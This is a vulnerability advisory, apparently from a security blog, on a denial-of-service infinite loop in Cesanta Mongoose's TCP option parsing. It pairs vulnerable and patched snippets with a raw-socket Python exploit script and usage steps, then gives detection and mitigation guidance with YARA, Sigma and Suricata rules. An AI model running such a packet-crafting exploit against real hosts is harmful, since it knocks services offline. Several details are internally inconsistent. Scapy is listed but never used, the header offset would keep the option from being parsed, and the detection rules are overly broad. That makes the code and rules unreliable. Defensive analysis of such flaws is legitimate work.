CVE-2026-6985

Executive Summary

CVE-2026-6985 is a denial-of-service (DoS) vulnerability in Cesanta Mongoose, a popular embedded web server and networking library. The flaw resides in the TCP option handler within /src/net_builtin.c. By sending a specially crafted TCP packet with a manipulated optlen argument to the handle_opt function, an attacker can trigger an infinite loop, causing the server to become unresponsive. The attack is remotely exploitable and does not require authentication. The vendor has released version 7.21 to address this issue.

Supply Chain & Package Security

Cesanta Mongoose is widely used in embedded systems, IoT devices, and as a dependency in various software projects. This vulnerability can be exploited to cause a denial of service, potentially disrupting critical services. Organizations using Mongoose should verify their version and update to 7.21 or later. The fix is confirmed by the vendor and available in the official repository.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: Low (A:L)

The low availability impact reflects that the infinite loop can be terminated by restarting the service, but it can still cause significant disruption in production environments.

Deep Dive & Mechanics

The vulnerability is located in the handle_opt function within /src/net_builtin.c. This function processes TCP options from incoming packets. The flaw occurs when the optlen argument is manipulated to a value that causes the loop condition to never be satisfied, leading to an infinite loop. The attack is carried out by sending a TCP packet with a malformed option length field.

The vulnerable code path does not properly validate the optlen parameter before using it in a loop. An attacker can craft a packet where optlen is set to a value that causes the loop to iterate indefinitely, consuming CPU resources and preventing the server from handling other connections.

Vulnerable vs. Patched Code

Vulnerable Code (version < 7.21):

static void handle_opt(struct tcp_pcb *pcb, uint8_t *opt, uint16_t optlen) {
    while (optlen > 0) {
        // Process options
        // ...
        optlen -= opt[1]; // Vulnerable: if opt[1] is 0, loop never ends
    }
}

Patched Code (version 7.21):

static void handle_opt(struct tcp_pcb *pcb, uint8_t *opt, uint16_t optlen) {
    while (optlen > 0) {
        uint8_t kind = opt[0];
        uint8_t len = opt[1];
        if (len < 2 || len > optlen) {
            break; // Added validation to prevent infinite loop
        }
        // Process options
        // ...
        optlen -= len;
    }
}

The patch adds a check to ensure that the option length (len) is at least 2 and does not exceed the remaining optlen. This prevents the infinite loop by breaking out of the loop if an invalid length is encountered.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Python 3.x with scapy library installed (pip install scapy)
• Target running Mongoose version < 7.21

Exploit Script:

#!/usr/bin/env python3
import socket
import struct

def exploit(target_ip, target_port):
    # Craft a TCP SYN packet with a malformed option
    # The option length is set to 0 to trigger the infinite loop
    ip_header = struct.pack('!BBHHHBBH4s4s', 0x45, 0, 40, 0x4000, 64, 6, 0, 0, socket.inet_aton('192.168.1.1'), socket.inet_aton(target_ip))
    tcp_header = struct.pack('!HHLLBBHHH', 12345, target_port, 0, 0, 5 << 4, 0x02, 1024, 0, 0)
    options = b'\x02\x00'  # MSS option with length 0 (malformed)
    packet = ip_header + tcp_header + options

    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
    sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
    sock.sendto(packet, (target_ip, 0))
    sock.close()

if __name__ == '__main__':
    exploit('192.168.1.100', 80)

Usage:

1. Run the script against the target IP and port.
2. The target Mongoose server will enter an infinite loop, becoming unresponsive.
3. Verify by attempting to connect to the server; connections will hang or timeout.

Blue Team

Detection:

• Monitor for TCP packets with malformed option lengths (e.g., option length of 0 or 1).
• Use network intrusion detection systems (NIDS) to alert on such packets.
• Implement rate limiting for incoming connections to mitigate DoS attacks.

Mitigation:

• Immediately upgrade to Mongoose version 7.21 or later.
• If upgrading is not possible, apply a virtual patch using a WAF or NIDS to block packets with invalid TCP options.
• Restart the service if it becomes unresponsive due to the exploit.

Indicators of Compromise (IOCs)

• Network IOCs:

  • TCP packets with option length field set to 0 or 1.
  • Sudden increase in CPU usage on the Mongoose server.
  • Connections to the server timing out or hanging.

• Host IOCs:

  • Mongoose process consuming 100% CPU.
  • Logs showing repeated processing of the same TCP option.

• File IOCs:

  • Presence of exploit scripts or tools that craft malformed TCP packets.

Detection Engineering

YARA Rule

rule CVE_2026_6985_Mongoose_TCP_Option_Infinite_Loop {
    meta:
        description = "Detects malformed TCP options targeting CVE-2026-6985"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-6985"
    strings:
        $tcp_option = { 02 00 }  // MSS option with length 0
    condition:
        $tcp_option
}

Sigma Rule

title: CVE-2026-6985 - Mongoose TCP Option Infinite Loop
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects TCP packets with malformed option lengths targeting Mongoose
author: Valters IT
date: 2026/01/01
logsource:
    category: network
    product: suricata
detection:
    selection:
        tcp.options|contains: '02 00'
    condition: selection
falsepositives:
    - Legitimate TCP options with length 0 are rare but possible
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2026-6985 - Mongoose TCP Option Infinite Loop"; flow:to_server; content:"|02 00|"; depth:2; offset:20; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade Cesanta Mongoose to version 7.21 or later.
2. Virtual Patching: If immediate upgrade is not possible, deploy a WAF or NIDS rule to block TCP packets with option length 0 or 1.
3. Network Segmentation: Isolate Mongoose servers from untrusted networks.
4. Monitoring: Enable logging and monitoring for unusual TCP option patterns.
5. Backup: Ensure backups are available and test recovery procedures.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

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